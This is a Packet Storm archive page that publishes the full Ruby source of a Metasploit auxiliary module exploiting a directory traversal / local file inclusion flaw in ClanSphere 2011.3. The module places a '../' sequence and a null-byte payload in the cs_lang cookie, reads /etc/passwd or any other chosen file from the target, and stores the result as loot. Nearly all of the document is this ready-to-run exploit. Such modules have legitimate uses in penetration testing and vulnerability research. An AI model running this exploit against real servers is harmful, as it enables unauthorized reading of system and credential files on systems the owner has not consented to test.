what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

ClanSphere 2011.3 Local File Inclusion

ClanSphere 2011.3 Local File Inclusion
Posted Sep 1, 2024
Authored by sinn3r, blkhtc0rp | Site metasploit.com

This Metasploit module exploits a directory traversal flaw found in Clansphere 2011.3. The application fails to handle the cs_lang parameter properly, which can be used to read any file outside the virtual directory.

tags | exploit
SHA-256 | 8c388b0595a2b36d16445e43deb2333fed77b9a4cda530522fc89615a19444ed

ClanSphere 2011.3 Local File Inclusion

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner

def initialize(info = {})
super(update_info(info,
'Name' => 'ClanSphere 2011.3 Local File Inclusion Vulnerability',
'Description' => %q{
This module exploits a directory traversal flaw found in Clansphere 2011.3.
The application fails to handle the cs_lang parameter properly, which can be
used to read any file outside the virtual directory.
},
'References' =>
[
['OSVDB', '86720'],
['EDB', '22181']
],
'Author' =>
[
'blkhtc0rp', #Original
'sinn3r'
],
'License' => MSF_LICENSE,
'DisclosureDate' => '2012-10-23'
))

register_options(
[
OptString.new('TARGETURI', [true, 'The URI path to the web application', '/clansphere_2011.3/']),
OptString.new('FILE', [true, 'The file to obtain', '/etc/passwd']),
OptInt.new('DEPTH', [true, 'The max traversal depth to root directory', 10])
])
end


def run_host(ip)
base = normalize_uri(target_uri.path)

peer = "#{ip}:#{rport}"

print_status("Reading '#{datastore['FILE']}'")

traverse = "../" * datastore['DEPTH']
f = datastore['FILE']
f = f[1, f.length] if f =~ /^\//

res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(base, "index.php"),
'cookie' => "blah=blah; cs_lang=#{traverse}#{f}%00.png"
})

if res and res.body =~ /^Fatal error\:/
print_error("Unable to read '#{datastore['FILE']}', possibly because:")
print_error("\t1. File does not exist.")
print_error("\t2. No permission.")
print_error("\t3. #{ip} isn't vulnerable to null byte poisoning.")

elsif res and res.code == 200
pattern_end = " UTC +1 - Load:"
data = res.body.scan(/\<div id\=\"bottom\"\>\n(.+)\n\x20{5}UTC/).flatten[0].lstrip
fname = datastore['FILE']
p = store_loot(
'clansphere.cms',
'application/octet-stream',
ip,
data,
fname
)

vprint_line(data)
print_good("#{fname} stored as '#{p}'")

else
print_error("Fail to obtain file for some unknown reason")
end
end
end
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    0 Files
  • 6
    Nov 6th
    0 Files
  • 7
    Nov 7th
    0 Files
  • 8
    Nov 8th
    0 Files
  • 9
    Nov 9th
    0 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    0 Files
  • 12
    Nov 12th
    0 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close